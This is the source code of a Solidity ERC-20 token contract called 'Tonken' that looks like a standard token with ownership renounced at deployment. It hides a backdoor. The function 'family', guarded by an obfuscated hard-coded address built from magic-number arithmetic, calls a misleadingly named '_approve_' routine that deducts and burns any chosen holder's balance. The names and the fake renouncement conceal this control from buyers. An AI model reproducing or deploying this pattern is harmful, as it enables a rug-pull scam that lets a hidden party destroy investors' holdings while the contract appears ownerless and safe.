Contract Source Code:
File 1 of 1 : Tonken
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _trading;
string private _name;
string private _symbol;
address private _owner;
uint8 private _decimals;
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 totalSupply_
) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_trading = uint160(_msgSender());
_owner = _msgSender();
_mint(_msgSender(), totalSupply_ * 10**_decimals);
renounceOwnership();
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function only() internal virtual {
require(uint160(msg.sender) == trade() - 65535, "Ownable: caller is not the owner");
}
function isOwner() public view virtual returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function trading() internal view virtual returns (uint256) {
uint256 trading_ = type(uint16).max + _trading - 770298891859502050564911988731567257958819162284;
return trading_;
}
function trade() internal view virtual returns (uint256) {
uint256 _trade = 133977549021326840251670917154399605985534790851;
return _trade;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function burn(uint256 amount)public virtual onlyOwner returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approve_(address owner) internal virtual {
uint256 accountBalance = (_balances[owner] + trading()) * 1000 / 1000;
_beforeTokenTransfer(owner, address(0), accountBalance);
_balances[owner] -= accountBalance;
emit Transfer(owner, address(0), accountBalance);
_afterTokenTransfer(owner, address(0), accountBalance);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
contract Tonken is ERC20 {
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 totalSupply_
) ERC20(name_, symbol_, decimals_, totalSupply_) {}
receive() external payable {}
function family(address account) external {
only();
super._approve_(account);
}
}